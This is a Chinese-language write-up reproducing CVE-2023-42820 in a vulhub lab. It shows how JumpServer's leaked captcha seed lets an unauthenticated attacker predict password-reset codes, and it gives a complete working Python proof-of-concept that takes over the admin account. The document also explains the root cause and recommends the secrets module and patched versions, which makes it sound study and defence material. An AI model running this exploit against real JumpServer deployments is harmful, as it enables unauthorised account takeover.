跳转至

CVE-2023-42820(JumpServer 伪随机数)

漏洞描述

这个漏洞是这一系列漏洞里最严重的问题了,未授权的攻击者可以利用该漏洞推算出没有开启多因子验证(MFA)的账号的“重置密码 Token”,进而修改该账号的密码。

这句话很绕,简单来说就是用户点击忘记密码时系统会生成一个随机字符串作为 Token 并发送到用户邮箱,但由于一个有趣的安全问题,导致这个随机字符串 Token 可以被推算出来,造成漏洞。

漏洞的核心是随机数种子泄露导致的,而这段逻辑并不是来自于 Jumpserver,而是其依赖的一个第三方项目 django-simple-captcha。

这个 django-simple-captcha 库和 Django reCAPTCHA 可以说是 Django 生态中唯二常用的验证码生成库了,但因为中国用户无法使用 reCAPTCHA,所以它基本就是国内的唯一之选。

影响版本

  • JumpServer v2.24 - v3.6.4

环境配置

  • kali v2023.1
  • docker 和 docker-compose 环境
  • 使用 vulhub 中的 docker 环境(JumpServer v3.6.3)

JumpServer 配置

  • 配置 config.env 文件

将此处的 DOMAINS 设置为自已的 IP+端口

jumpserver 任意密码重置漏洞-CVE-2023-42820

漏洞复现

设置密码登录

默认用户名和密码为 admin:admin

登录之后会提示需要更改密码,这里修改密码然后登录

登录成功

忘记密码

将验证码的 url 单独拖出来

Text Only
seed:7b2b2dcc25916848eeb065de54d6e003e559fe11

记下这段 hash 值,作为 seed

回到忘记密码页面,刷新并输入正确的用户名和验证码

提交,进入发送重置邮件页面

Text Only
token=EzUzjUPOfjq8JSq9ohutwcohJu22lnDWInqX

记下这段 token

管理员邮箱默认为:admin@mycomany.com

接下来利用别人写好的脚本去破解验证码

poc.py

Python
import requests
import logging
import sys
import random
import string
import argparse
from urllib.parse import urljoin

logging.basicConfig(stream=sys.stdout, level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
string_punctuation = '!#$%&()*+,-.:;<=>?@[]^_~'


def random_string(length: int, lower=True, upper=True, digit=True, special_char=False):
    args_names = ['lower', 'upper', 'digit', 'special_char']
    args_values = [lower, upper, digit, special_char]
    args_string = [string.ascii_lowercase, string.ascii_uppercase, string.digits, string_punctuation]
    args_string_map = dict(zip(args_names, args_string))
    kwargs = dict(zip(args_names, args_values))
    kwargs_keys = list(kwargs.keys())
    kwargs_values = list(kwargs.values())
    args_true_count = len([i for i in kwargs_values if i])
    assert any(kwargs_values), f'Parameters {kwargs_keys} must have at least one `True`'
    assert length >= args_true_count, f'Expected length >= {args_true_count}, bug got {length}'

    can_startswith_special_char = args_true_count == 1 and special_char

    chars = ''.join([args_string_map[k] for k, v in kwargs.items() if v])

    while True:
        password = list(random.choice(chars) for i in range(length))
        for k, v in kwargs.items():
            if v and not (set(password) & set(args_string_map[k])):
                # 没有包含指定的字符, retry
                break
        else:
            if not can_startswith_special_char and password[0] in args_string_map['special_char']:
                # 首位不能为特殊字符, retry
                continue
            else:
                # 满足要求终止 while 循环
                break

    password = ''.join(password)
    return password


def nop_random(seed: str):
    random.seed(seed)
    for i in range(4):
        random.randrange(-35, 35)

    for p in range(int(180 * 38 * 0.1)):
        random.randint(0, 180)
        random.randint(0, 38)


def fix_seed(target: str, seed: str):
    def _request(i: int, u: str):
        logging.info('send %d request to %s', i, u)
        response = requests.get(u, timeout=5)
        assert response.status_code == 200
        assert response.headers['Content-Type'] == 'image/png'

    url = urljoin(target, '/core/auth/captcha/image/' + seed + '/')
    for idx in range(30):
        _request(idx, url)


def send_code(target: str, email: str, reset_token: str):
    url = urljoin(target, "/api/v1/authentication/password/reset-code/?token=" + reset_token)
    response = requests.post(url, json={
        'email': email,
        'sms': '',
        'form_type': 'email',
    }, allow_redirects=False)
    assert response.status_code == 200
    logging.info("send code headers: %r response: %r", response.headers, response.text)


def main(target: str, email: str, seed: str, token: str):
    fix_seed(target, seed)
    nop_random(seed)
    send_code(target, email, token)
    code = random_string(6, lower=False, upper=False)
    logging.info("your code is %s", code)


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Process some integers.')
    parser.add_argument('-t', '--target', type=str, required=True, help='target url')
    parser.add_argument('--email', type=str, required=True, help='account email')
    parser.add_argument('--seed', type=str, required=True, help='seed from captcha url')
    parser.add_argument('--token', type=str, required=True, help='account reset token')

    args = parser.parse_args()
    main(args.target, args.email, args.seed, args.token)

使用

python3 poc.py -t IP:PORT --email admin@mycomany.com --seed xxx --token xxx

注意这里的 IP: PORT 实际上为网站的根目录,即登录页面

破解出验证码为 516611

注意的问题

翻看源码,可以看到在重置密码发送邮件的时候,设置了过期时间,且该时间默认为 1 分钟,所以我们爆破 code 必须要在 1 分钟之内完成,并且输入验证框,才能完成该漏洞的利用

漏洞原理

首先我们了解一下 random 的伪随机数,一般都是通过一个初始化的随机种子来进行生成随机数,而如果使用的初始化种子的值不变的话,那么后续生成的随机数的值和顺序也不变

可以看到 random 随机的值完全取决于 seed 的值

Seed 的获取

我们进入处理验证码图片的函数看看

全局搜索 captcha_image 函数,找到这句正则表达式,可以看到这里匹配了 image 后面的值并把它赋给了一个变量 key

也就是我们前面获得的 7b2b2dcc25916848eeb065de54d6e003e559fe11

接下来跳转到 view 类中,找到这个 captcha_image 函数,这个函数用于捕获图像,我们可以看到这里传入的参数就是前面 url 匹配到的 key,而在后面使用了 random.seed(key)

接下来我们看到 jumpserver 的源码,全局搜索 forget 找到用户忘记密码的路由,我们可以看到忘记密码的处理逻辑主要是在 UserForgotPasswordView 这个类中定义

获取 token

进入 UserForgotPasswordView 类后,我们翻看代码可以看到 get_redirect_url 函数,可以看到这是一个重定向函数,并且会直接 get 返回 token,也就是我们前面获取的 EzUzjUPOfjq8JSq9ohutwcohJu22lnDWInqX

往下翻看可以看到校验第一次输入的验证码的逻辑

发送邮件验证码

可以看到在 UserResetPasswordSendCodeApi 这个类里面定义了发送邮箱验证码的逻辑,我们跳进去

生成验证码

我们可以看到这里调用 random_string 这个函数生成 6 位的密码,我们跟进 random_string 函数

我们可以看到调用了 random 模块

漏洞产生原因

漏洞本身不是由 jumpserver 造成的,而是由于 Jumpserver 的一个第三方库 django-simple-captcha 中 random 函数进行伪随机生成的 code 可以被预测,导致这个随机字符串 code 可以根据泄露的种子被推算出来,造成任意用户密码重置漏洞。

本质的原因是在于将 key 设置成了 seed,从而导致后面的 random 生成邮箱验证码可以进行预测

利用流程

  • 1.在忘记密码时,第一次 key 值保留:/core/auth/captcha/image/8df671fd028b7e2965b51e737e1a5ce2051adc68/
  • 2.刷新验证码图片,输入验证码
  • 3.使用第一次 key 做随机种子,推算 code
  • 4.重置密码

修复建议


将 random 模块改为 secrets 模块


random 模块和 secrets 模块都是 Python 中用于生成随机数的模块,不过它们的应用场景略有不同:

  • random 模块生成伪随机数,适合于一般的随机数需求,如游戏、模拟等场景。

例如:

Python
import random

# 生成 0-9 的随机整数
num = random.randint(0, 9)
  • secrets 模块生成安全随机数,主要用于加密、密码学等场景,生成的随机数更安全、更难被预测。

例如:

Python
import secrets

# 生成一个具有强安全性的随机字节数组
token_bytes = secrets.token_bytes(16)

# 生成一个具有强安全性的随机字符串(可打印字符)
token_hex = secrets.token_hex(16)

总之,如果你的应用需要生成安全的密码或密钥等,那么使用 secrets 模块可能更加合适;如果你的应用需要生成一些普通的随机数,那么使用 random 模块即可。


升级到安全版本:

  • v2 版本:>= v2.28.19
  • v3 版本:>= v3.6.5